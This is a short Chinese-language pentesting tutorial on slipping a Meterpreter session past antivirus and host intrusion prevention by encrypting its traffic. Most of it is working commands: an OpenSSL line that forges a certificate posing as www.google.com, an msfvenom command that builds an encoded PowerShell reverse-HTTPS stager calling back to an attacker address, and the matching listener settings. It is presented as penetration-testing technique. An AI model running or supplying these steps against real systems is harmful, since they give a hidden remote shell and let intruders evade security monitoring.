绕过杀毒软件与主机入侵防御系统对流量的检测
为了防止主机被入侵,现如今大部分的环境都装有各种安全防护软件,比如我们经常会遇到的终端解决方案以及主机入侵防御系统。终端解决方案会在主机存在的文件中扫描已知恶意软件,主机入侵防御系统(HIPS)会对每个数据包进行检测,然后断开所有不合法的连接。
尽管这些安全产品为我们提供了一个额外的安全保护,但这还远远不够。系统管理员经常依赖这些控件以及允许用户执行的脚本,可能会导致代码任意执行,最终致使系统妥协。
对于一个渗透测试人员来说,创建一个包含经过编码的payload的脚本绕过这些控件,并对连接进行加密以避开HIPS检测。HD Moore在2015年就曾介绍过如何使用Meterpreter Paranoid Mode作为一种安全连接的方法
生成证书
OpenSSL可以用来生成一个自定义证书
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt
此外Metasploit框架还有一个模块可以用来自动从信任源创建一个虚假证书
auxiliary/gather/impersonate_ssl
生成payload
Metasploit MsfVenom可用来生成一个经过编码的payload(PowerShell Base64),这一步会使用到之前生成的证书
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.100.3 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=/root/Desktop/www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o pentestlab.bat
配置监听器
当监听器配置完成之后还需要使用到额外的2个选项,其一是为了向处理程序通知所使用的证书(同payload),其二是当收到一个连接时执行SSL证书验证
HandlerSSLCert
StagerVerifySSLCert
set payload windows/meterpreter/reverse_winhttps
set LHOST 192.168.100.3
set LPORT 443
set HandlerSSLCert /root/Desktop/www.google.com.pem
set StagerVerifySSLCert true
自payload在目标主机执行那一刻,会打开一个加密的Meterprete会话,其将会阻止HIPS对数据包的检测以及断开连接
Meterpreter Paranoid Mode
使用Meterpreter Paranoid Mode工具可以对上述过程实现完全自动化,该工具的完全使用说明可以查看Github
总结
上述过程经常被用于交互式渗透测试中,且能够绕过经常更新的杀毒软件以及HIPS对流量的检测。
特别感谢James Hemmings以及Gabriel对本技术的贡献。
引用
https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode
https://github.com/r00t-3xp10it/Meterpreter_Paranoid_Mode-SSL
https://www.darkoperator.com/blog/2015/6/14/tip-meterpreter-ssl-certificate-validation